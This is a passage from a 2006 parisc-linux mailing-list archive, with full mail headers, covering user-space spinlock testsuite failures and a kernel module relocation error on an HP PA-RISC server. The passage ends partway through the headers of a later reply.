Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 1C8A923E83;
	Mon,  5 Jun 2006 10:53:10 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10329-03; Mon, 5 Jun 2006 10:53:09 -0400 (EDT)
Original-Received: from skunkworks.cabal.ca (skunkworks.cabal.ca [134.117.69.64])
	by fattire.cabal.ca (Postfix) with ESMTP id D74F923E82;
	Mon,  5 Jun 2006 10:53:09 -0400 (EDT)
Original-Received: by skunkworks.cabal.ca (Postfix, from userid 1000)
	id 791C42FED8; Mon,  5 Jun 2006 10:40:33 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200606042355.k54Ntw0R026812@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WHK3cMB9f2I/+IicY2xob/5wdWxlc5br
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23716

On Sun, Jun 04, 2006 at 07:55:58PM -0400, John David Anglin wrote:
> I'm about to throw the following change to the garbage heap since it
> doesn't work as expected, particularly with SMP kernels.
> 
> The problem is I still see occasional libstdc++ and libjava testsuite
> failures in pthread process intensive tests.  In particular, I'm getting
> timeouts on tests that didn't timeout before.
>

I don't suppose we could test this using locks based on Carlos'
light-weight-syscalls? This would have the added 
 
> The enclosed change is based on ideas presented in the paper,
> "Implementing Spinlocks on the Intel Itanium Architecture and PA-RISC".
>

The changes look fine to me.
 
> The main issue that the change tries to address is that spinning
> indefinitely in user space on a UP kernel just burns cycles.  So, the
> change is to spin awhile and then sleep.  This seemed to work with
> the test application in the paper, but in practice it seems to cause
> more test failures that just spinning, particularly on SMP kernels.
> I suspect that on SMP kernels we sometimes end up with all threads
> sleeping.
> 

That's absolutely bizarre. Can you include steps for us toolchain
newbies to reproduce this? I'd love to try and trace down why this is
occuring. It could be a problem indicative of something very funky
occuring in our kernel.

> I've tried various sleep routines including sched_yield, and other
> optimizations, but they don't seem to make a difference.  The trick
> to dirty the cacheline presented in the paper didn't help performance
> as measured by the Appendix F program.  I also didn't see
> and difference in performance using the ",co" completer.  Possibly,
> this is because I only tested on coherent PA 2.0 machines.
> 

I suspect a majority of this is because we aren't running
optimally as it is. I suspect if we were performing as well as HPUX
the minor details would make more of a difference.

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Mon, 5 Jun 2006 12:49:52 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200606051649.k55Gnqtf004110@hiauly1.hia.nrc.ca>
References: <20060605144033.GD1335@skunkworks.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624099 19792 80.91.229.3 (22 Nov 2014 02:41:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jun 2006 16:50:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 05 Jun 2006 18:50:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B84F87D675;
	Mon,  5 Jun 2006 10:49:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10804-05; Mon, 5 Jun 2006 10:49:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5BDCA7D677;
	Mon,  5 Jun 2006 10:49:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 638607D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 10:49:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10597-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jun 2006 10:49:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 543D67D666
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 10:49:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k55Gnr7l004112;
	Mon, 5 Jun 2006 12:49:53 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k55Gnqtf004110;
	Mon, 5 Jun 2006 12:49:52 -0400 (EDT)
In-Reply-To: <20060605144033.GD1335@skunkworks.cabal.ca> from "Kyle McMartin"
	at Jun 5, 2006 10:40:33 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iFixcMtFRkkei6uPfGRqmThmdWkvKBOR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23717

> That's absolutely bizarre. Can you include steps for us toolchain
> newbies to reproduce this? I'd love to try and trace down why this is
> occuring. It could be a problem indicative of something very funky
> occuring in our kernel.

There definitely are some funky things going on in the kernel.
For example, if I try to build GCC with 'make -j 4 bootstrap' on
gsyprf11, about 50% of the time make dies because of a malloc data
corruption or a shell problem.  However, I never see this with
just 'make bootstrap'.

It's crossed my mind that locking could break if there is a memory
aliasing issue,

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kai Holthaus <kmh@sonic.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Module Relocation Problem
Date: Mon, 5 Jun 2006 18:45:54 -0700
Lines: 73
Approved: news@gmane.org
Message-ID: <200606051845.54924.kmh@sonic.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1471761893=="
X-Trace: ger.gmane.org 1416624099 19799 80.91.229.3 (22 Nov 2014 02:41:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jun 2006 01:46:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 06 Jun 2006 03:46:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F26F07D6A3;
	Mon,  5 Jun 2006 19:46:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16923-06; Mon, 5 Jun 2006 19:46:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F8C67D6A6;
	Mon,  5 Jun 2006 19:46:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8F067D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 19:46:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16923-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jun 2006 19:46:04 -0600 (MDT)
Original-Received: from b.mail.sonic.net (b.mail.sonic.net [64.142.19.5])
	by free.linux.hp.com (Postfix) with ESMTP id B6F9C7D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 19:46:04 -0600 (MDT)
Original-Received: from miraculix.holthausworld.us (64-142-78-25.dsl.static.sonic.net
	[64.142.78.25]) (authenticated bits=0)
	by b.mail.sonic.net (8.13.6/8.13.3) with ESMTP id k561jtGe023587
	(version=TLSv1/SSLv3 cipher=EXP1024-RC4-SHA bits=56 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jun 2006 18:45:59 -0700
User-Agent: KMail/1.9.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Uey9cbtCeWU7sreUfHVzsCk5U3U4Nw8g
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23718

--===============1471761893==
Content-Type: multipart/signed; boundary="nextPart14744473.VKIUT7n3Rt";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart14744473.VKIUT7n3Rt
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hi,

I'm trying to compile and install the qc-usb (http://qce-ga.sourceforge.net=
/)=20
kernel module on my A5005X server. Compilation works just fine (make all &&=
=20
make install), but upon insmodding I get the following error:

Module quickcam, symbol qc_proc_init is out of range for PCREL22F relocation
=46ATAL: Error inserting quickcam (/lib/modules/2.6.16-pa11/misc/quickcam.k=
o):=20
Invalid module format

I've searched on google (in general) and on this mailing list for help on t=
his=20
topic, but couldn't find anything that would help me out, since I'm not=20
really a kernel and/or gcc wiz.=20

What am I doing wrong? Or is there something in the module code that's not=
=20
compatible with a 64bit hppa kernel?

Thanks so much,

	Kai
=2D-=20
Hofstadter's Law:
  "It always takes longer than you expect,
   even when you take into account Hofstadter's Law."
                             -- Douglas R. Hofstadter

kmh.AT.sonic.net

Check out Mission Octagon - a new, exciting novel!
http://www.missionoctagon.com

--nextPart14744473.VKIUT7n3Rt
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)

iD8DBQBEhN5Swl7N6T1/FugRAgqPAJ0XZQ/5LhS3xMg8CEq0cA3Fl0DbIACfbhGN
whOJO/HULd6bYMiJTEI6Q3k=
=6k4f
-----END PGP SIGNATURE-----

--nextPart14744473.VKIUT7n3Rt--

--===============1471761893==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1471761893==--



From - Thu Nov 08 21:34:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Module Relocation Problem
Date: Mon, 5 Jun 2006 22:20:26 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200606060220.k562KRc2009433@hiauly1.hia.nrc.ca>
References: <200606051845.54924.kmh@sonic.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624099 19804 80.91.229.3 (22 Nov 2014 02:41:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kmh@sonic.net (Kai Holthaus)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jun 2006 02:20:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 06 Jun 2006 04:20:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D1CBB7D6B2;
	Mon,  5 Jun 2006 20:20:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17303-08; Mon, 5 Jun 2006 20:20:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7DE2F7D6AE;
	Mon,  5 Jun 2006 20:20:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 939837D6AC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 20:20:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17492-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jun 2006 20:20:29 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7F51D7D6AB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 20:20:29 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k562KRtO009434;
	Mon, 5 Jun 2006 22:20:28 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k562KRc2009433;
	Mon, 5 Jun 2006 22:20:27 -0400 (EDT)
In-Reply-To: <200606051845.54924.kmh@sonic.net> from "Kai Holthaus" at Jun 5,
	2006 06:45:54 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GI/xd7Y6ODBpsLWUfGRMQTg1Ji9SWhJN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23719

> Module quickcam, symbol qc_proc_init is out of range for PCREL22F relocation
> =46ATAL: Error inserting quickcam (/lib/modules/2.6.16-pa11/misc/quickcam.k=
> o):=20

I believe that this has come up before.  The out of range
PCREL22F relocation implies that the module has a "b,l" instruction
(call) whose target can't be reached.  The maximum branch distance
for the "b,l" instruction is ~ 8 MB, so the module must be quite
large.

You might explore ways to reduce the modules's (e.g., limit inlining).
You might also try compiling with the -mlong-calls options.  This forces
GCC to use the "bve" instruction for calls in PA 2.0 compilations.  The
call setup using bve is slightly longer but there are no distance
limitations.  There's also a PA 1.x variant using "ble".  What's unclear
to me is whether the kernel loader has support for the relocations used
in these sequences.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Module Relocation Problem
Date: Mon, 5 Jun 2006 22:26:16 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200606060226.k562QGsd009687@hiauly1.hia.nrc.ca>
References: <200606060220.k562KRc2009433@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624100 19810 80.91.229.3 (22 Nov 2014 02:41:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jun 2006 02:26:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 06 Jun 2006 04:26:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68C0B7D6B3;
	Mon,  5 Jun 2006 20:26:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17774-04; Mon, 5 Jun 2006 20:26:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 107377D6B4;
	Mon,  5 Jun 2006 20:26:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CF017D6B1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 20:26:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17492-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jun 2006 20:26:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 170427D6AD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 20:26:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k562QH1p009691;
	Mon, 5 Jun 2006 22:26:17 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k562QGsd009687;
	Mon, 5 Jun 2006 22:26:16 -0400 (EDT)
In-Reply-To: <200606060220.k562KRc2009433@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Jun 5, 2006 10:20:26 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5dC2dbYnIyd18PqQe2drOhVaa2FkZpXl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23720

> You might explore ways to reduce the modules's (e.g., limit inlining).
> You might also try compiling with the -mlong-calls options.  This forces
> GCC to use the "bve" instruction for calls in PA 2.0 compilations.  The
> call setup using bve is slightly longer but there are no distance
> limitations.  There's also a PA 1.x variant using "ble".  What's unclear
> to me is whether the kernel loader has support for the relocations used
> in these sequences.

Just thinking, the problem might be going the other way.  If so, reorganzing
the sections used for functions called from the kernel might help.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kai Holthaus <kmh@sonic.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Module Relocation Problem
Date: Mon, 5 Jun 2006 19:38:19 -0700
Lines: 72
Approved: news@gmane.org
Message-ID: <200606051938.20617.kmh@sonic.net>
References: <200606060220.k562KRc2009433@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1928753302=="
X-Trace: ger.gmane.org 1416624100 19815 80.91.229.3 (22 Nov 2014 02:41:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jun 2006 02:38:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 06 Jun 2006 04:38:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D1537D6BF;
	Mon,  5 Jun 2006 20:38:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17900-09; Mon, 5 Jun 2006 20:38:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B21F07D6C0;
	Mon,  5 Jun 2006 20:38:27 -0600 (MDT)
